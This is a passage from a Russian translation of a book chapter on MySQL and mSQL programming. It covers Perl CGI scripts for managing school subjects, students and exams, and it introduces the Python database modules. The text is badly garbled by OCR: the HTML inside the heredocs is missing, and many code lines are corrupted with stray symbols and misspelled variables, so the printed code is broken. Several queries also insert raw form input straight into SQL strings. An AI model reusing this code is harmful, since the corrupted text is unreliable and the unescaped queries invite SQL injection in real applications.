    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


